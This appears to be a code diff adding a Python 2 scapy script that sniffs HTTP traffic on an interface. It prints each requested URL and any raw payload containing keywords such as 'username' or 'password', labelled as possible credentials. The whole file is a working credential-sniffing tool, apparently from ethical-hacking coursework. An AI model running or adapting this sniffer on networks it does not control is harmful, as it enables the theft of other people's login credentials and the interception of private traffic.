1
+ import scapy .all as scapy
2
+ from scapy .layers import http # pip install scapy_http
3
+
4
+ # from scapy_http import http
5
+
6
+ def get_url (packet ):
7
+ return packet [http .HTTPRequest ].Host + packet [http .HTTPRequest ].Path #for detecting urls
8
+
9
+
10
+ def sniff (interface ):
11
+ scapy .sniff (iface = interface , store = False , prn = process_sniffed_packet ) #prn it will excute a function which we will give it after capturing packet
12
+
13
+
14
+ def get_login_info (packet ):
15
+ if packet .haslayer (scapy .Raw ):
16
+ # print(packet[scapy.Raw].load) #finding and printing Raw layer
17
+ load = packet [scapy .Raw ].load
18
+ keywords = ["username" , "user" , "login" ,"password" , "pass" ]
19
+ for keyword in keywords :
20
+ if keyword in load :
21
+ return load
22
+
23
+
24
+ #store =dont store memory on this pc
25
+
26
+ def process_sniffed_packet (packet ): # for http only
27
+ if packet .haslayer (http .HTTPRequest ):
28
+ url = get_url (packet )
29
+ print ("[+] HTTP REQUEST >> \n " + url )
30
+
31
+ login_info = get_login_info (packet )
32
+ if login_info :
33
+ print ("\n \n [+] possible username/password >>" + login_info + "\n \n " )
34
+
35
+
36
+
37
+ sniff ("eth0" ) #----interfaceon which you want to sniff
38
+
39
+
40
+ ## imp -----> python sniffer.py
41
+ ##code is not in python3
0 commit comments